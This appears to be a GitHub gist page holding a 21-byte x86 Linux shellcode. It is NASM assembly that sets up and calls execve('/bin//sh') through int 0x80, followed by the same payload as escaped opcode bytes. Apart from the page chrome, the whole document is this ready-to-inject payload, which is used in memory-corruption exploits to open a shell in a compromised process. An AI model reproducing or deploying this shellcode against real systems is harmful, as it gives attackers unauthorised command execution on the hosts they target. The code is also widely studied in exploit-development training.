Skip to content

Instantly share code, notes, and snippets.

@0xTowel
Last active September 1, 2020 02:04
Show Gist options
  • Save 0xTowel/26fc395d04eeca76369c2acd6990f8eb to your computer and use it in GitHub Desktop.
Save 0xTowel/26fc395d04eeca76369c2acd6990f8eb to your computer and use it in GitHub Desktop.
Simple 21-byte x86 shellcode
BITS 32
global _start
section .text
SYS_EXECVE equ 0x0b
_start:
xor ecx, ecx ; argv to zero
mul ecx ; envp to zero, eax to zero
add al, SYS_EXECVE ; syscall 11 for execve
push ecx ; terminate our string
push 0x68732f2f ; push 'hs//'
push 0x6e69622f ; push 'nib/'
mov ebx, esp ; Set ebx to our filename
int 0x80 ; Syscall
; execve("/bin//sh/", 0, 0)
; \x31\xc9\xf7\xe1\x04\x0b\x51
; \x68\x2f\x2f\x73\x68\x68\x2f
; \x62\x69\x6e\x89\xe3\xcd\x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment